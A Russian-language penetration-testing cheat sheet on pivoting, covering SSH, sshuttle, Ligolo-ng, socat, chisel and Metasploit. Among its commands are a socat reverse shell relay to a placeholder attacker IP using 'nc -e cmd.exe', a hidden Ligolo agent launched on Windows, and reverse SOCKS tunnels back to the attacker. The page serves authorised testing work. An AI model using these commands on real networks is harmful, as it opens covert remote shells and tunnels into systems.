Перейти к основному содержимому

Туннели и проброс портов

:::tip Формат страницы

Порядок действий описан по‑русски. В методике сохранены заголовки (частично локализованы типовые термины), таблицы, иллюстрации и блоки кода: команды и параметры на английском, без перевода синтаксиса.

:::

Порядок действий

  1. Определите доступные каналы выхода и доверенные сегменты.
  2. Настройте туннели или ретрансляцию в соответствии с правилами теста.
  3. Проверяйте маршрут и стабильность сессии перед движением дальше.
  4. Синтаксис утилит в методике не меняется.

Методика

SSH

Local Port Forwarding

ssh -L localhost:8000:<VICTIM_IP>:80 <PIVOT_USER>@<PIVOT_IP> [-fN]

Remote Port Forwarding

ssh -R 8080:localhost:80 <PIVOT_USER>@<PIVOT_IP> [-fN]

Proxy

ssh -D 1337 <PIVOT_USER>@<PIVOT_IP> [-fN]

Internet access to an offline machine

sudo apt update && sudo apt install squid -y
sudo service squid restart
export http_proxy=http://127.0.0.1:3129
export https_proxy=http://127.0.0.1:3129
Acquire::http::Proxy "http://localhost:3129";
Acquire::https::Proxy "https://localhost:3129";
ssh -R 3129:localhost:3128 <USER>@<OFFILNE_HOST>

Sshuttle

sshuttle -r <PIVOT_USER>@<PIVOT_IP> {-N | <SUBNET/X>}
sshuttle -r <PIVOT_USER>@<PIVOT_IP> --ssh-cmd "ssh -i <PRIVATE_KEY>" {-N | <SUBNET/X>}
sshuttle -r <PIVOT_USER>@<PIVOT_IP> <SUBNET/X> -x <PIVOT_IP>

Ligolo-ng

sudo ip tuntap add user auditor mode tun ligolo
sudo ip link set ligolo up
./ligo_proxy -selfcert -laddr 0.0.0.0:8080
# Meterpreter
execute -H -f C:\\Windows\\Tasks\\ligo_agent.exe -a "-ignore-cert -connect <YOUR_IP>:8080"

# Windows
Start-Process -WindowStyle Hidden -FilePath "C:\Windows\Tasks\ligo_agent.exe" -ArgumentList "-ignore-cert", "-connect", "<YOUR_IP>:8080"

# Linux
./ligo_agent -ignore-cert -connect <YOUR_IP>:<PORT> &
ligolo-ng » session
ligolo-ng » <SESSION>
[Agent : www-data@web05] » start
sudo ip route add <VICTIMS_NETWORK>/24 dev ligolo

Remote Port Forwarding

listener_add --addr 0.0.0.0:8080 --to 127.0.0.1:80 --tcp

Socat

Reverse Shell Relay

kali@kali:$ sudo nc -lvnp 443
user@victim_ONE:$ socat tcp-l:8000 tcp:<ATTACKER_IP>:443
user@victim_TWO:$ nc 127.0.0.1 8000 -e C:\Windows\System32\cmd.exe

Port Forwarding (Stealthy)

./socat tcp-l:8001 tcp-l:8000,fork,reuseaddr &
./socat tcp:<PIVOTING_IP>:8001 tcp:<TARGET_IP>:80,fork &

Port Forwarding (Reverse)

socat -v TCP-LISTEN:<PIVOTING_PORT> TCP-LISTEN:<SRC_PORT>
# Example
socat -v TCP-LISTEN:10000 TCP-LISTEN:8080
socat TCP:<ATTACKER_IP>:<PIVOTING_PORT> TCP:localhost:<DST_PORT>
# Example
socat TCP:10.9.160.251:10000 TCP:localhost:80

Chisel

Reverse SOCKS Proxy

./chisel server -p <LISTEN_PORT> --reverse &
./chisel client <ATTACKER_IP>:<LISTEN_PORT> R:socks &

Forwards SOCKS Proxy

./chisel server -p <LISTEN_PORT> --socks5
./chisel client <TARGET_IP>:<LISTEN_PORT> CHISEL_PORT_SERVER:socks

Remote Port Forwarding

./chisel server -p <LISTEN_PORT> --reverse &
./chisel client <ATTACKER_IP>:<LISTEN_PORT> R:<LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT> &

Local Port Forwarding

./chisel server -p <LISTEN_PORT>
./chisel client <PIVOT_IP>:<PIVOT_PORT> <LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT>
# Compromissed
./chisel server -p 8081
# Attacking machine
./chisel client 192.168.1.2:8081 8080:192.168.2.4:80

Metasploit

# Might also work auxiliary/server/socks4a
use auxiliary/server/socks_proxy
exploit
sudo bash -c 'echo "socks4 127.0.0.1 1080" >> /etc/proxychains.conf'

Ссылки

Internet access through SSH